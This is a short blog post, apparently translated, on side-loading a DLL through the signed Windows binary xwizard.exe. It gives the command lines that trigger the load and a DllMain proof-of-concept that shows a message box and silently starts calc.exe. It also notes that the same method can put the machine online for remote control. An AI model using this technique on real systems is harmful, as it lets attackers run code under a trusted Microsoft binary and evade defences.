Xwizard Microsoft program use white and black


Introduction

xwizard.exe use xwizards.dll,Support win7 and above system

image

Actual use

such as Path: C:\Windows\System32

Use case:
xwizard processXMLFile 1.txt
xwizard RunWizard /u {11111111-1111-1111-1111-111111111111}
xwizard RunPropertySheet /u {11111111-1111-1111-1111-111111111111}
Note that the GUID length needs to be fixed, otherwise an error will be reported

image

The popover code is as follows:
#include "pch.h"
#include
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "yyy", "y", MB_OK);
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Running the program directly will not trigger the popover

image

Confirm that the popover can be triggered after the normal call

image

image

Must conform to the relevant grammatical structure

image

Note that you need to distinguish between 64 and 32 bits!!
In the same way, you can run the program here and you can go online,The basic operations are omitted

Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC